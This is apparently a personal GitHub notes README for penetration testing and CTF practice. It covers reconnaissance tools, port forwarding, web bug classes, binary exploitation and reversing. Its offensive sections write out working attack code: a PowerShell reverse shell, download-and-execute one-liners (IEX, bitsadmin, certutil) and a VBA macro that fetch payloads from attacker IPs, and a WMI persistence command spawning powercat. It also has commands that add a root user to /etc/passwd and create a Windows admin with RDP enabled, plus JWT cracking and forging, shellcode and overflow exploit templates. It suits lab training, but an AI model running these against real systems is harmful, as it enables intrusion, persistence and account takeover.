Skip to content

4n86rakam1/notes

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
img
img
 
 
README.md
README.md
 
 

Repository files navigation

Notes

Table of Contents

Passive Reconnaissance

Domain / DNS

API Search

  • ApisList - The Public APIs List, a curated list for the public web Apis
  • RapidAPI - API Hub - Free Public & Open Rest APIs | Rapid
  • APIs.guru - create a machine-readable Wikipedia for Web APIs in the OpenAPI Specification format

Search Engine

  • Shodan Search Engine - A search engine for Internet-connected devices
    • Shodan Dorks - Shodan Dorks by twitter.com/lothos612 Feel free to make suggestions
  • Censys Search - Censys helps organizations, individuals, and researchers find and monitor every server on the Internet to reduce exposure and improve security

Internet archives search

  • waymore

    python3 ~/tools/waymore/waymore.py -i DOMAIN -oR ./waymore/$(date +%Y%m%d-%H%m%s)

Secret scanning

  • trufflehog

    trufflehog filesystem <path> --json | grep -v AlgoliaAdminKey
trufflehog github --repo=https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments

File search

  • gf

    # Install and Setup
go install github.com/tomnomnom/gf@latest

git clone https://github.com/tomnomnom/gf.git ~/tools/gf
cp -r ~/tools/gf/examples/ ~/.gf

# list available pattern
gf -list

# check pattern
gf -dump urls

gf pattern

Other

Active Reconnaissance

  • TLS Certificates without SNI

    openssl s_client -connect example.com:443 -showcerts < /dev/null

  • TLS Certificates with SNI

    openssl s_client -connect example.com:443 -servername example.com -showcerts < /dev/null

Network Scanner

Nmap

nmap -p- --min-rate 5000 -sVC -Pn --open 192.168.0.123

# slow scan
nmap --top-ports=100 -T2 192.168.0.123

-T Option

Scanning Active Directory Controller

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389 -sVC -sT -Pn <ip>

Web Vulnerability Scanner

  • nikto - web server scanner

    # check proxy setting
grep PROXY /etc/nikto.conf

nikto -useproxy -Pause 1 -host https://${DOMAIN}/

  • whatweb - Web scanner

    whatweb --user-agent "hackerone_researcher_4n86rakam1" -a 3 https://${DOMAIN}/
whatweb --proxy 127.0.0.1:8080 -a 3 --max-threads 1 https://${DOMAIN}/

Directory Bursting

  • ffuf - Fast web fuzzer written in Go

    mkdir -p ffuf
ffuf -ic -u https://${DOMAIN}/FUZZ -w /usr/share/wordlists/dirb/common.txt -r -t 2 -p 0.5-1 -ic -of all -o ffuf/$(date +%Y%m%d-%H%M%S)

Parameter Scanner

  • Paramspider - Find HTTP Query Parameter from web.archive.org

    ~/tools/ParamSpider/paramspider.py -d ${DOMAIN} --exclude woff,png,svc,jpg --output ./paramspider/$(date +%Y%m%d-%H%M%S).txt

# with gf
gf xss ./paramspider

  • Arjun - HTTP parameter discovery suite

    arjun -u http://${DOMAIN}/

# via proxy
HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080 arjun -u https://${DOMAIN}/ --stable --headers "User-Agent: hackerone_researcher_<yourname>"

JS Scanner

  • LinkFinder - A python script that finds endpoints in JavaScript files

    mkdir -p LinkFinder
~/tools/LinkFinder/linkfinder.py -i https://${DOMAIN} -o cli > LinkFinder/$(date +%Y%m%d-%H%M%S).txt

## Burp input
~/tools/LinkFinder/linkfinder.py -i burpfile -b -o cli > ${DOMAIN}.txt

  • JSScanner - Scan JavaScript Files to find endpoints

    echo https://${DOMAIN} > domains.txt
~/tools/JSScanner/script.sh domains.txt

# Find URL with gf
gf urls ./Jsscanner_results

  • Download the same domain JavaScript URL

    mkdir -p javascripts
echo https://${DOMAIN}/ | hakrawler | grep -iahE "https?://[^\"\\'> ]+\\.js" | grep -E "//${DOMAIN}" | sort -u | xargs wget -x -P javascripts -q
find javascripts -type f -name "*.js" -exec js-beautify -r {} +

Penetration Testing

Tools

  • GTFOBins - GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
  • WADComs - WADComs is an interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments.
  • LOLBAS - Living Off The Land Binaries, Scripts and Libraries
  • explainshell.com - match command-line arguments to their help text
  • Penetration Testing Tools - Kali Linux Tools Listing
  • Exploit Database Search - Search Exploit Database for Exploits, Papers, and Shellcode

Training

Penetration Testing Methodologies

Reverse Shell

PowerShell

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex ". { $data } 2>&1" | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()

Listening

Metasploit Framework multi/handler payload

msfconsole -q -x "use exploit/multi/handler;\
                          set PAYLOAD windows/meterpreter/reverse_tcp;\
                          set LHOST 192.168.119.128;\
                          set LPORT 443;\
                          run"

Full TTY

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg;
export SHELL=/bin/bash; export TERM=screen; stty rows 81 columns 238; reset;
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
ctrl Z
stty raw -echo; fg
reset

Persistence

Invoke-Wmimethod -Class Win32_Process -Name Create -ArgumentList "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.16.5/powercat.ps1'); mycat -c 10.10.16.5 -p 443 -e powershell;"

Create root user

# foo:$1$mysalt$4Lz7hS.y2V54mV2gJXEKR/:0:0::/tmp/foo:/bin/bash
echo foo:$(openssl passwd -1 -salt mysalt password):0:0::/tmp/foo:/bin/bash >> /etc/passwd

# login with password user
su foo  # enter 'password'

windows add-admin.bat

@ECHO OFF
:: This batch file adds user to Administrator and enables RDP
Title Add user
echo Adding user...
net user myadmin password1@ /add
net localgroup Administrators myadmin /add
net localgroup "Remote Desktop Users" hoge /add
ECHO Enabling RDP...
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
ECHO ====================
ECHO User added
ECHO ====================
net users

Privilege Escalation

Identify process Windows

:: netstat -> tasklist
netstat -ano | findstr TCP | findstr ":0"
:: =>   TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       2820

tasklist /v | findstr 2820
:: => CloudMe.exe                   2820                            0     37,444 K Unknown         N/A                                                     0:00:00 N/A
RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444

Credential Access & Dumping

Host Discovery

Ping Sweep

base="192.168.0"; seq 1 254 | xargs -P 100 -I {} sh -c "ping -W 2 -c 2 $base.{} 2>/dev/null 1>&2 && echo $base.{}"

Nmap ping scan -sn option

nmap -sn --min-rate 5000 192.168.0.0/24

Port Forwarding

SSH Port Forwarding

Dynamic

ssh -N -D 127.0.0.1:8080 [email protected]

/etc/proxychains.conf

socks4 127.0.0.1 9050

proxychains and Nmap

proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110

local port forwarding

ssh -N -L 0.0.0.0:445:<target ip>:445 [email protected]

chisel

jpillora/chisel

curl -sL https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz -o- | zcat > chisel
chmod +x ./chisel

Attacker

./chisel -p 25 --reverse

Target

# 127.0.0.1:8080 is in target, R:3000 is in host machine
./chisel client --max-retry-count 0 <kali ip>:25 R:3000:127.0.0.1:8080

./chisel client --max-retry-count 0 <kali ip>:25 R:3000:10.10.14.16:8080

./chisel client --max-retry-count 0 192.168.119.128:25 R:3306:10.5.5.11:3306

socks proxy

Reverse SOCKS Proxy Using Chisel — The Easy Way | by Vegard Wærp | Medium

Target

./chisel client --max-retry-count 0 192.168.119.128:25 R:socks

Lateral movement

File Transfer

PowerShell

Download file

(New-Object System.Net.WebClient).DownloadFile('http://192.168.119.186/nc.exe', 'C:\Windows\Tasks\nc.exe');

Download and execute

IEX(New-Object System.Net.WebClient).DownloadString('http://10.11.2.242/nc.exe')

PowerShell in cmd.exe

:: download and save file
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.119.156/nc.exe', 'C:\Windows\Tasks\nc.exe')"

:: download and output
powershell -c "(New-Object System.Net.WebClient).DownloadString('http://10.11.2.242/test.ps1')"

powercat

# Load The Function From URL:
IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.16.5/powercat.ps1')

# Send File:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile

# Recieve File:
powercat -l -p 8000 -of C:\inputfile

cmd.exe

cmd /c bitsadmin /transfer pwn /download http://192.168.119.156/nc.exe C:\Windows\Tasks\nc.exe
bitsadmin /transfer pwn /download http://192.168.119.156/nc.exe C:\Windows\Tasks\nc.exe
bitsadmin /transfer pwn /download http://10.11.2.242/PrintSpoofer64.exe C:\Windows\Tasks\PrintSpoofer64.exe
certutil.exe -urlcache -split -f "http://192.168.119.156/nc.exe" nc.exe

VBA Macro

Dim Str As String
Str = "powershell -c ""$code=(New-Object System.Net.Webclient).DownloadString('http://192.168.119.137:8000/reverse-shell.txt'); iex 'powershell -E $code'"""
CreateObject("Wscript.Shell").Run Str

SMB file share

# Kali
impacket-smbserver <user> .
:: Victim
:: Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
net use * \\<ip>\<user>

Wordlist

  • SecLists - List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more.
  • Assetnote Wordlists - This website provides you with wordlists that are up to date and effective against the most popular technologies on the internet.
  • crunch - Crunch is a wordlist generator where you can specify a standard character set or a character set you specify. crunch can generate all possible combinations and permutations.
  • wordlistctl - Fetch, install and search wordlist archives from websites and torrent peers
  • mentalist - Mentalist is a graphical tool for custom wordlist generation. It utilizes common human paradigms for constructing passwords and can output the full wordlist as well as rules compatible with Hashcat and John the Ripper
  • english-words - A text file containing 479k English words for all your dictionary/word-based projects e.g: auto-completion / autosuggestion
  • username-anarchy - Username tools for penetration testing

custom wordlist from HTML

curl -s http://runner.htb/ | html2text | tr ' ' '\n' | tr -d '.,:*!' | sort -u > list.txt

Post Exploitation

  • CrackMapExec - A swiss army knife for pentesting networks
  • NetExec - The Network Execution Tool, based on CrackMapExec
  • Nishang - Offensive PowerShell for red team, penetration testing and offensive security
  • PowerShell-Suite - This is a collection of PowerShell utilities

Vulnerability

Front-end

XSS

Refrected XSS checker

#!/usr/bin/env bash

random_str=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 6 | head -n 1)

# payload="${random_str}<>?,.:\";'{}|[]\\()_+&#!"

# url encoded
payload="${random_str}%3C%3E%22%27,.:;%7B%7D%7C%5B%5D%5C()_+\&?"
echo paylaod: ${payload}

while IFS= read -r url; do
    fuzz_url=$(echo "${url}" | sed -e "s/FUZZ/${payload}/g")
    echo test: "${fuzz_url}"

    curl --proxy http://127.0.0.1:8080 -k -s -A "hackerone_reseacher_<yourname>" "${fuzz_url}" \
        | grep --color=always -oP ".{0,10}${random_str}.{0,40}"

    echo

    sleep 2
done < param-urls.txt

# param-urls.txt is
# http://example.com/id=FUZZ

Prototype Pollution

Prototype Pollution to RCE (PP2R)

CSS Injection

XS Leaks

DOM Clobbering

XS-Leaks

SQLi

SSTI

CSRF

  • check CSRF token
  • check CORS header Access-Control-Allow-Origin: * in response headers
  • check Set-Cookie header in response headers What's SameSite value?

401/403 Bypass

Path Taversal / Directory Traversal

Command Injection

DNS Rebind Attack

RCE

  • CVE-2023-43177 - CrushFTP prior to 10.5.1 is vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes
  • CVE-2023-49297 - Unsafe YAML deserialization in PyDrive2, CLoader

Information Disclosure

Apache Tomcat

Curated

CTF

Self-Hosted CTF Platform

CTF Design

Event

Always online CTFs

Getting Started / Tutorials

Other

Pwn

Notes

Challenges / Wargames

Tools

socat: Launch server

socat tcp4-listen:5700,reuseaddr,fork EXEC:./start,pty,stderr

gdb (peda-gdb)

basic commands

  • disassemble main, disas main
  • set disassembly-flavor intel
  • break main, b main
  • run, r

instruction level

  • stepi, si
  • nexti, ni

program level

  • step into, s
  • next, n

Examine x

  • Examine memory: x/NFU address
    • N = number
    • F = format
    • U = unit
  • Examples
    • x/10xb 0xdeadbeef, examine 10 bytes in hex
    • x/xw 0xdeadbeef, examine 1 word in hex
    • x/s 0xdeadbeef, examine null terminated string
  • help x to show details.

telescope

  • telescope [address]

gdb io

  • r $(your_command_here): Use command output as an argument
  • r < <(your_command_here): Use command as input
  • r > filename: Write command output to file
  • r < filename: Use file as input

disassemble oneliner

gdb -batch -ex 'file /bin/ls' -ex 'disassemble main'

show context

context all
context reg
context stack

follow-fork-mode

set follow-fork-mode parent

References

radare2

r2 ./binary
> aaa
> s main
> V
p

Generate payload command

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*27 + b"\xbd\x86\x04\x08")'
python2 -c 'print b"A"*27 + b"\xbd\x86\x04\x08"'

echo -n 'AAAAAAAAAAAAAAAAAAAAAAAAAAA\xbd\x86\x04\x08'

Pwntools

  • pwntools-cheatsheet.md

    log.warn('a warning message')     # -> [!] a warning message
log.info('some information')      # -> [*] some information
log.debug('a debugging message')  # -> [DEBUG] a debugging message

Solver Script Template

C code 
/*
compiled with
gcc -m32 -fno-stack-protector -o start start.c
*/

#include <stdio.h>
#include <stdlib.h>

void shell() {
    printf("You did it.\n");
    system("/bin/sh");
}

void vuln() {
    char buf[10] = {0};
    scanf("%s", buf);
}

int main(int argc, char const *argv[])
{
    printf("shell address: %p\n", shell);
    vuln();
}
Python socket library only 
import socket
import struct

host = "localhost"
port = 5700

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

shell_address = 0x565561BD

payload = b""
payload += b"A" * 22
payload += struct.pack("I", shell_address)

s.recv(1024)

s.send(payload + b"\n")
s.recv(1024)

s.send(b"id" + b"\n")
s.recv(1024)
print(s.recv(1024))

s.close()
Python pwntools 
from pwn import *

elf = ELF("./start")

if args.REMOTE:
    host = "localhost"
    port = 5700

    io = remote(host, port)
else:
    io = elf.process()

shell_address = 0x565561BD

io.sendline(b"A" * 22 + p32(shell_address))
io.clean()
io.interactive()

Assembly

Basic Concept

test.c --preprocess--> included header, macro code --compile--> test.s --assemble--> test.o --link--> test

x86 AT&T

shellcode.s

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
mov    %eax,%ecx
mov    %eax,%edx
mov    $0xb,%al
int    $0x80
xor    %eax,%eax
inc    %eax
int    $0x80
gcc -m32 -c shellcode.s
ld -m elf_i386 -o shellcode shellcode.o
./shellcode

x86 intel

shellcode.s

xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
mov    ecx, eax
mov    eax, edx
mov    al, 0x0b
int    0x80
xor    eax, eax
inc    eax
int    0x80
nasm -f elf shellcode.s
ld -m elf_i386 -o shellcode shellcode.o
./shellcode

References

Disassembly

Shellcode

Shellcode Example References

Shellcode as string (binary to bytes)

Pwntools shellcraft

Command Line 
$ shellcraft -f d i386.linux.sh
\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80

$ # -f format, --format format
$ #                       Output format (default: hex), choose from {e}lf, {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code, escape{d} hex string
$ shellcraft -f d i386.linux.exit 0
\x31\xdb\x6a\x01\x58\xcd\x80

$ shellcraft -f a i386.linux.exit 0
    /* exit(status=0) */
    xor ebx, ebx
    /* call exit() */
    push SYS_exit /* 1 */
    pop eax
    int 0x80


$ shellcraft -f h i386.linux.exit 0
31db6a0158cd80
Python 
from pwn import *

elf = ELF("bugspray")
context.binary = elf

sc += asm(shellcraft.amd64.linux.cat("flag.txt"))
sc += asm(shellcraft.amd64.linux.exit(0))

payload += asm(shellcraft.execve('/bin/sh'))

x86 Shellcode Example

exit(2)

Assembly test.s

global _start

section .text

_start
        mov     eax, 1
        mov     ebx, 0
        int     0x80

Assemble

nasm -f elf32 test.s
ld -m elf_i386 -o test test.o
./test

Get hex machine code

$ objdump -d ./test |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\xb0\x01\xcd\x80"

shellcode

int main(int argc, char *argv[])
{
  char shellcode[] = "\x31\xc0\x31\xdb\xb0\x01\xcd\x80";
  (*(void(*)()) shellcode)();
  return 1;
}

See also: man exit.2

hello world: write(2) 
$ grep '__NR_write ' /usr/src/linux-headers-6.3.0-kali1-amd64/arch/x86/include/generated/uapi/asm/unistd_32.h
#define __NR_write 4

test.s

global          _start

section         .data
        msg     db "Hello World!", 0

section         .text

_start:
        ;; write(1, hello, 13)
        mov     eax, 4
        mov     ebx, 1
        mov     ecx, msg
        mov     edx, 13
        int     0x80

        ;; exit(0)
        mov     eax, 1
        mov     ebx, 0
        int     0x80

Assemble

nasm -f elf32 test.s
ld -m elf_i386 -o test test.o
./test

but it's not working as shellcode

https://stackoverflow.com/questions/15593214/linux-shellcode-hello-world

1

/*
global          _start

section         .text

_start:
        jmp     message

main:
        ;; write(1, hello, 13)
        xor     eax, eax
        mov     al, 4
        xor     ebx, ebx
        mov     bl, 1
        pop     ecx
        xor     edx, edx
        mov     dl, 16
        int     0x80

        ;; exit(0)
        xor     eax, eax
        mov     al, 1
        xor     ebx, ebx
        mov     bl, 1
        int     0x80

message:
        call    main
        msg     db "Hello World!", 0dh, 0ah

section         .data

$ nasm -f elf32 test.s && ld -m elf_i386 -o test test.o
$ objdump -d ./test |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x19\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x59\x31\xd2\xb2\x10\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xb3\x01\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a"
*/

// gcc -m32 -fno-stack-protector -z execstack -o hello hello.c

int main(int argc, char *argv[])
{
  char shellcode[] = "\xeb\x19\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x59\x31\xd2\xb2\x10\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xb3\x01\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0d\x0a";
  (*(void(*)()) shellcode)();
  return 1;
}

2

/*
global          _start

section         .text

_start:
        ;; write(1, "Hello World!\n", 13)
        xor     eax, eax
        mov     al, 4
        xor     ebx, ebx
        mov     bl, 1

        ;; >>> msg = "Hello World!\n"
        ;; >>> [hex(u32(msg[i:i+4].ljust(4, '\x00'))) for i in range(0, len(msg), 4)][::-1]
        ;; ['0xa', '0x21646c72', '0x6f57206f', '0x6c6c6548']
        push    0xa
        push    0x21646c72
        push    0x6f57206f
        push    0x6c6c6548

        mov     ecx, esp
        xor     edx, edx
        mov     dl, 13
        int     0x80

        ;; exit(0)
        xor     eax, eax
        mov     al, 1
        xor     ebx, ebx
        int     0x80


$ nasm -f elf32 test.s && ld -m elf_i386 -o test test.o
$ objdump -d ./test |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x6a\x0a\x68\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68\x48\x65\x6c\x6c\x89\xe1\x31\xd2\xb2\x0d\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80"
*/

// gcc -m32 -fno-stack-protector -z execstack -o hello hello.c

int main(int argc, char *argv[])
{
  char shellcode[] = "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x6a\x0a\x68\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68\x48\x65\x6c\x6c\x89\xe1\x31\xd2\xb2\x0d\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80";
  (*(void(*)()) shellcode)();
  return 1;
}
open, read, write

preudo code: tmp.c

#include <unistd.h>

int main()
{
    char buf[100] = {0};

    int fd1 = open("test.txt", 0);
    read(fd1, buf, 100);
    write(1, buf, 100);
}
echo hello > test.txt
gcc -o tmp tmp.c
./tmp  # output: hello
section .text

global _start

_start:
        jmp two

one:
        xor eax, eax

        ;; open
        pop ebx
        mov al, 0x5
        int 0x80

        ;; read
        xor edx, edx
        mov ebx, eax
        mov al, 0x3
        mov ecx, esp
        sub esp, 0x55
        mov dl, 0x55
        int 0x80

        ;; write
        xor eax, eax
        mov al, 0x4
        mov bl, 0x1
        int 0x80

        ;; exit
        xor eax, eax
        xor ebx, ebx
        mov al, 1
        mov bl, 99
        int 0x80

two:
        call one
        string: db "/home/orw/flag"
shellcode = b"\xeb\x28\x31\xc0\x5b\xb0\x05\xcd\x80\x31\xd2\x89\xc3\xb0\x03\x89\xe1\x83\xec\x55\xb2\x55\xcd\x80\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xb3\x63\xcd\x80\xe8\xd3\xff\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x6f\x72\x77\x2f\x66\x6c\x61\x67"

x86

Calling Convention

aka: Call Convention

x86 Assembly/Interfacing with Linux - Wikibooks, open books for an open world

register mapping for system call invocation using int $0x80

syscall number 1st 2nd 3rd 4th 5th 6th result
eax ebx ecx edx esi edi ebp eax

syscall number

  • x86.syscall.sh
  • /usr/src/linux-headers-6.3.0-kali1-amd64/arch/x86/include/generated/uapi/asm/unistd_32.h

References

Wiki

Other

x86_64

Calling Convention

x86 Assembly/Interfacing with Linux - Wikibooks, open books for an open world

register mapping for system call invocation using syscall

syscall number 1st 2nd 3rd 4th 5th 6th result
rax rdi rsi rdx r10 r8 r9 rax

register mapping for library call

1st 2nd 3rd 4th 5th 6th
rdi rsi rdx rcx r8 r9

syscall number

Format String Attack

ELF

https://refspecs.linuxfoundation.org/elf/elf.pdf

Heap

Use After Free

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    char *buf1;
    char *buf2;
    char *buf3;

    buf1 = (char *) malloc(10);
    free(buf1);
    // printf("buf1: %p\n", buf1);

    buf2 = (char *) malloc(10);
    free(buf2);
    // printf("buf2: %p\n", buf2);

    buf3 = (char *) malloc(10);

    printf("buf1: %p\nbuf2: %p\nbuf3: %p\n", buf1, buf2, buf3);
}

Result

$ make malloc_test && ./malloc_test
make: 'malloc_test' is up to date.
buf1: 0x5593d3f5e2a0
buf2: 0x5593d3f5e2a0
buf3: 0x5593d3f5e2a0

Reversing

Windows

Python

pyc Decompiler

Uncategorized

  • Pyarmor - A tool used to obfuscate python scripts, bind obfuscated scripts to fixed machine or expire obfuscated scripts.
  • pyinstaller - Freeze (package) Python programs into stand-alone executables

Android

Decompile

APK -> java

/usr/share/jadx/bin/jadx -d out APKey.apk

jadx-gui APKey.apk

Recompile APK

Decompile, Modify Smali, Recompile and Sign APK - Hebun ilhanlı

# apktoolversion: 2.7.0-dirty

# Decompile
apktool decode -r APKey.apk

# Modify smali
vi APKey/smali/com/example/apkey/MainActivity\$a.smali

# Re-compile. Generated to APKey/dist/APKey.apk
apktool build -d -f APKey

# Sign
cd APKey/dist/
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore APKey.apk alias_name
$ keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
Enter keystore password:
Re-enter new password:
What is your first and last name?
  [Unknown]:
What is the name of your organizational unit?
  [Unknown]:
What is the name of your organization?
  [Unknown]:
What is the name of your City or Locality?
  [Unknown]:
What is the name of your State or Province?
  [Unknown]:
What is the two-letter country code for this unit?
  [Unknown]:
Is CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown correct?
  [no]:  yes

Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 10,000 days
        for: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
[Storing my-release-key.keystore]

$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore APKey.apk alias_name
Enter Passphrase for keystore:
   adding: META-INF/MANIFEST.MF
(snip)
  signing: classes.dex

>>> Signer
    X.509, CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
    Signature algorithm: SHA256withRSA, 2048-bit key
    [trusted certificate]

jar signed.

Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk and is disabled.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk and is disabled.

dotnet dnSpy

dnSpy

# In Kali
rm -fr ~/.wine
winetricks dotnet6
wine ~/tools/dnSpy/dnSpy.exe

Web

Webhook Hosting

Specification

Vulnerability research approach

Taint checking / Taint tracking

Fuzzing

Burp Suite

Generate a PEM Certificate and curl

curl -so ./burp-cert http://127.0.0.1:8080/cert
openssl x509 -inform der -in ./burp-cert -out ./burp-cert.pem

curl --proxy http://127.0.0.1:8080 --cacert ./burp-cert -s https://example.com/

OWASP

Training

Web Assembly

Basic Concept

  • source language (C/C++, Rust, Go, etc...) -> Wasm
  • Wasm is imported by JavaScript, then call exported a function

Compiler / Build Packages

Use the compiled WebAssembly…

Web API

GraphQL

Json Web Token (JWT)

Cracking with hashcat

JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I
python3 ~/tools/jwt_tool/jwt_tool.py $JWT
# check: alg = "HS256"

hashcat -m 16500 $JWT /usr/share/wordlists/rockyou.txt --quiet
# output => eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I:catsarethebest

python3 ~/tools/jwt_tool/jwt_tool.py $JWT -I -pc identity -pv admin --sign hs256 -p catsarethebest
# output: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImFkbWluIn0.3xH8a2FskQJ3afYZeJCtwln4CRrwh4nidEy7S6fJoA0

Simple HTTP Server

BaseHTTPRequestHandler

from http.server import BaseHTTPRequestHandler
from socketserver import TCPServer

HOST = "0.0.0.0"
PORT = 8000


class RequestHandler(BaseHTTPRequestHandler):
    server_version = "my server 0.0"
    sys_version = ""

    def do_GET(self):
        self.send_response(200)
        self.end_headers()

        print(f"{self.requestline}\n{self.headers}\n")

    def do_POST(self):
        self.send_response(200)
        self.end_headers()

        content_length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(content_length).decode("utf-8")

        print(f"{self.requestline}\n{self.headers}{body}")


TCPServer.allow_reuse_address = True

with TCPServer((HOST, PORT), RequestHandler) as httpd:
    print(f"Listening {HOST}:{PORT}")
    httpd.serve_forever()

Flask

app.py

from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return "test"


if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=80)

RequestBin

Custom Response by each URL path

def handler(pd: "pipedream"):
    if pd.steps["trigger"]["event"]["path"] == "/":
        msg = "foo"
    else:
        msg = "bar"

    pd.respond({
        "status": 200,
        "headers": {
            "Content-Type": "application/json"
        },
        "body": msg,
    })

Require Basic Auth

def handler(pd: "pipedream"):
    resp = {
        "status": 401,
        "headers": {
            "WWW-Authenticate": 'Basic realm="my realm"'
        },
        "body":"",
    }
    pd.respond(resp)

Browser Extension

RDBMS

server

# MySQL
docker run --rm --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password mysql:8-debian

# MariaDB
docker run --rm --name mariadb -p 3306:3306 --env MARIADB_ROOT_PASSWORD=password --env MARIADB_DATABASE=test mariadb:latest

client

mysql --silent -h 127.0.0.1 -u root -ppassword

Create Table

CREATE TABLE tbl1 (
    id int,
    foo varchar(255),
    bar varchar(255)
);

Install Oracle SQL*Plus DB client

https://book.hacktricks.xyz/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation

export PATH=$PATH:/opt/oracle/instantclient_21_7
export SQLPATH=/opt/oracle/instantclient_21_7
export TNS_ADMIN=/opt/oracle/instantclient_21_7
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_7
export ORACLE_HOME=/opt/oracle/instantclient_21_7

Web Archiver

Python Flask

SSTI Testing setup

from flask import Flask, request, render_template_string
app = Flask("myapp")
def test(p):
    with app.test_request_context():
        request.args.a = "a"
        print(render_template_string(p))

Service Worker

Web Browser

Document

Bookmarklet

copy markdown format

let title = document.title.replace(/\[/g, '\\[').replace(/]/g, '\\]').replace(/\|/g, '\\|');
